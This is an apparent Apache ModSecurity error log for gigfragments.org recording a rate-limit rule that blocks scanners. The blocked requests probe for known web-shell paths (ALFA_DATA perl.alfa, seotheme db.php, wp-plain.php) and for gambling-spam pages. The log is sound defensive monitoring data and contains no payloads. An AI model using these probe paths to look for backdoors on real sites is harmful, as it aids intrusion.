[Sat May 09 11:05:34.979414 2026] [:error] [pid 9293:tid 9315] [client 45.154.98.198:57370] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kfpR__qEzV5O6Z2NN-QAAANI"], referer: www.google.com
[Sat May 09 11:05:34.982312 2026] [:error] [pid 9293:tid 9309] [client 45.154.98.198:57379] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kfpR__qEzV5O6Z2NN-gAAAMw"], referer: www.google.com
[Sat May 09 11:05:35.472636 2026] [:error] [pid 9920:tid 9939] [client 45.154.98.198:58475] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6kf0xitGYhlzgZb5apPgAAAdE"]
[Sat May 09 11:05:35.478138 2026] [:error] [pid 9920:tid 9944] [client 45.154.98.198:58477] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kf0xitGYhlzgZb5apPwAAAdY"], referer: www.google.com
[Sat May 09 11:05:35.478295 2026] [:error] [pid 9920:tid 9926] [client 45.154.98.198:58461] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "af6kf0xitGYhlzgZb5apQAAAAcQ"], referer: www.google.com
[Sat May 09 11:05:35.483828 2026] [:error] [pid 9920:tid 9931] [client 45.154.98.198:58481] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kf0xitGYhlzgZb5apQQAAAck"], referer: www.google.com
[Sat May 09 11:05:35.970808 2026] [:error] [pid 9920:tid 9942] [client 45.154.98.198:59577] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6kf0xitGYhlzgZb5apQgAAAdQ"]
[Sat May 09 11:05:35.978847 2026] [:error] [pid 9293:tid 9302] [client 45.154.98.198:59596] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kf5R__qEzV5O6Z2NN-wAAAMU"], referer: www.google.com
[Sat May 09 11:05:35.979199 2026] [:error] [pid 9920:tid 9945] [client 45.154.98.198:59598] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "af6kf0xitGYhlzgZb5apQwAAAdc"], referer: www.google.com
[Sat May 09 11:05:35.980699 2026] [:error] [pid 9833:tid 9844] [client 45.154.98.198:59607] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kfyM9JmxIS0KGZUBfegAAAYY"], referer: www.google.com
[Sat May 09 11:05:36.469377 2026] [:error] [pid 9833:tid 9846] [client 45.154.98.198:60377] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6kgCM9JmxIS0KGZUBfewAAAYg"]
[Sat May 09 11:05:36.480164 2026] [:error] [pid 9833:tid 9838] [client 45.154.98.198:60426] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kgCM9JmxIS0KGZUBffAAAAYA"], referer: www.google.com
[Sat May 09 11:05:36.480539 2026] [:error] [pid 9920:tid 9933] [client 45.154.98.198:60484] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kgExitGYhlzgZb5apRAAAAcs"], referer: www.google.com
[Sat May 09 11:05:36.482712 2026] [:error] [pid 9833:tid 9855] [client 45.154.98.198:60472] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "af6kgCM9JmxIS0KGZUBffQAAAZE"], referer: www.google.com
[Sat May 09 11:05:36.968886 2026] [:error] [pid 9920:tid 9929] [client 45.154.98.198:60996] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6kgExitGYhlzgZb5apRQAAAcc"]
[Sat May 09 11:05:36.984111 2026] [:error] [pid 9920:tid 9938] [client 45.154.98.198:61013] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kgExitGYhlzgZb5apRgAAAdA"], referer: www.google.com
[Sat May 09 11:05:36.984381 2026] [:error] [pid 9920:tid 9934] [client 45.154.98.198:61011] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kgExitGYhlzgZb5apRwAAAcw"], referer: www.google.com
[Sat May 09 11:05:36.985000 2026] [:error] [pid 9920:tid 9923] [client 45.154.98.198:61024] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "af6kgExitGYhlzgZb5apSAAAAcE"], referer: www.google.com
[Sat May 09 11:05:37.982819 2026] [:error] [pid 9920:tid 9936] [client 45.154.98.198:61870] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kgUxitGYhlzgZb5apVwAAAc4"], referer: www.google.com
[Sat May 09 11:05:37.984861 2026] [:error] [pid 9920:tid 9943] [client 45.154.98.198:61868] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kgUxitGYhlzgZb5apWAAAAdU"], referer: www.google.com
[Sat May 09 11:05:38.990956 2026] [:error] [pid 9186:tid 9245] [client 45.154.98.198:63807] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kghW4eFOEw1mKOgKrvgAAAFM"], referer: www.google.com
[Sat May 09 11:05:38.997006 2026] [:error] [pid 9186:tid 9239] [client 45.154.98.198:63764] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6kghW4eFOEw1mKOgKrvwAAAE0"], referer: www.google.com
[Sat May 09 11:05:39.985801 2026] [:error] [pid 9663:tid 9677] [client 45.154.98.198:50291] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6kg5cWIu01SCxbjwsIAQAAAQs"], referer: www.google.com
[Sat May 09 11:05:40.012432 2026] [:error] [pid 9663:tid 9680] [client 45.154.98.198:50338] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6khJcWIu01SCxbjwsIAgAAAQ4"], referer: www.google.com
[Sat May 09 11:05:40.992943 2026] [:error] [pid 9920:tid 9931] [client 45.154.98.198:52684] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6khExitGYhlzgZb5apYAAAAck"], referer: www.google.com
[Sat May 09 11:05:41.017924 2026] [:error] [pid 9187:tid 9268] [client 45.154.98.198:52865] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6khRC7An6gkXsRsaFD2gAAAI8"], referer: www.google.com
[Sat May 09 11:05:42.005117 2026] [:error] [pid 9187:tid 9265] [client 45.154.98.198:56075] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6khhC7An6gkXsRsaFD3QAAAIw"], referer: www.google.com
[Sat May 09 11:05:42.021176 2026] [:error] [pid 9833:tid 9857] [client 45.154.98.198:56111] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6khiM9JmxIS0KGZUBfhQAAAZM"], referer: www.google.com
[Sat May 09 11:58:10.293830 2026] [:error] [pid 9833:tid 9847] [client 91.137.27.140:31285] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af6w0iM9JmxIS0KGZUBm7gAAAYk"]
[Sat May 09 11:58:12.079667 2026] [:error] [pid 9187:tid 9264] [client 91.137.27.140:25303] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af6w1BC7An6gkXsRsaFUDgAAAIs"]
[Sat May 09 11:58:14.080347 2026] [:error] [pid 9833:tid 9850] [client 91.137.27.140:42379] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "af6w1iM9JmxIS0KGZUBm8gAAAYw"]
[Sat May 09 11:58:16.068665 2026] [:error] [pid 9187:tid 9261] [client 91.137.27.140:25042] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "af6w2BC7An6gkXsRsaFUFQAAAIg"]
[Sat May 09 11:58:18.060467 2026] [:error] [pid 9187:tid 9267] [client 91.137.27.140:4817] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "af6w2hC7An6gkXsRsaFUHgAAAI4"]
[Sat May 09 11:58:20.036282 2026] [:error] [pid 9293:tid 9320] [client 91.137.27.140:34161] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "af6w3JR__qEzV5O6Z2Ni_QAAANc"]
[Sat May 09 11:58:21.873374 2026] [:error] [pid 9293:tid 9305] [client 91.137.27.140:56688] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "af6w3ZR__qEzV5O6Z2NjCAAAAMg"]
[Sat May 09 11:58:23.875937 2026] [:error] [pid 9184:tid 9205] [client 91.137.27.140:12880] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "af6w34jfODqb_i0Fm9-A3gAAAAg"]
[Sat May 09 11:58:25.860969 2026] [:error] [pid 9920:tid 9941] [client 91.137.27.140:61911] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "af6w4UxitGYhlzgZb5a1tAAAAdM"]
[Sat May 09 11:58:27.843538 2026] [:error] [pid 9663:tid 9681] [client 91.137.27.140:62165] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "af6w45cWIu01SCxbjwsTHAAAAQ8"]
[Sat May 09 11:58:29.679023 2026] [:error] [pid 9760:tid 9777] [client 91.137.27.140:13018] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "af6w5WIkCp-C_fh0s7IwNwAAAUs"]
[Sat May 09 11:58:31.675842 2026] [:error] [pid 9920:tid 9925] [client 91.137.27.140:51749] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "af6w50xitGYhlzgZb5a1vgAAAcM"]
[Sat May 09 11:58:33.668333 2026] [:error] [pid 9920:tid 9936] [client 91.137.27.140:11084] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "af6w6UxitGYhlzgZb5a1wQAAAc4"]
[Sat May 09 11:58:35.662266 2026] [:error] [pid 9187:tid 9257] [client 91.137.27.140:31252] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "af6w6xC7An6gkXsRsaFUSwAAAIQ"]
[Sat May 09 11:58:37.490716 2026] [:error] [pid 9293:tid 9297] [client 91.137.27.140:11401] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "af6w7ZR__qEzV5O6Z2NjiQAAAMA"]
[Sat May 09 11:58:39.486669 2026] [:error] [pid 9187:tid 9277] [client 91.137.27.140:25405] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "af6w7xC7An6gkXsRsaFUUwAAAJg"]
[Sat May 09 11:58:41.478426 2026] [:error] [pid 9293:tid 9317] [client 91.137.27.140:58386] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "af6w8ZR__qEzV5O6Z2NjmQAAANQ"]
[Sat May 09 11:58:43.468382 2026] [:error] [pid 9920:tid 9923] [client 91.137.27.140:37011] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "af6w80xitGYhlzgZb5a1xwAAAcE"]
[Sat May 09 11:58:45.299103 2026] [:error] [pid 9920:tid 9937] [client 91.137.27.140:15806] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "af6w9UxitGYhlzgZb5a1ygAAAc8"]
[Sat May 09 11:58:47.287141 2026] [:error] [pid 9293:tid 9301] [client 91.137.27.140:12428] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "af6w95R__qEzV5O6Z2NjowAAAMQ"]
[Sat May 09 11:58:49.276222 2026] [:error] [pid 9663:tid 9686] [client 91.137.27.140:52229] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "af6w-ZcWIu01SCxbjwsTKwAAARQ"]
[Sat May 09 11:58:51.268019 2026] [:error] [pid 9187:tid 9275] [client 91.137.27.140:3078] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "af6w-xC7An6gkXsRsaFUdwAAAJY"]
[Sat May 09 11:58:53.095269 2026] [:error] [pid 9833:tid 9848] [client 91.137.27.140:31521] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "af6w_SM9JmxIS0KGZUBm-wAAAYo"]
[Sat May 09 11:58:55.088273 2026] [:error] [pid 9663:tid 9677] [client 91.137.27.140:30966] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "af6w_5cWIu01SCxbjwsTLwAAAQs"]
[Sat May 09 11:58:57.081738 2026] [:error] [pid 9293:tid 9316] [client 91.137.27.140:16218] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "af6xAZR__qEzV5O6Z2Nj7AAAANM"]
[Sat May 09 11:58:59.066914 2026] [:error] [pid 9187:tid 9272] [client 91.137.27.140:3741] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "af6xAxC7An6gkXsRsaFUiAAAAJM"]
[Sat May 09 12:06:52.304612 2026] [:error] [pid 9293:tid 9300] [client 212.227.21.19:46180] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "af6y3JR__qEzV5O6Z2Nn6gAAAMM"]
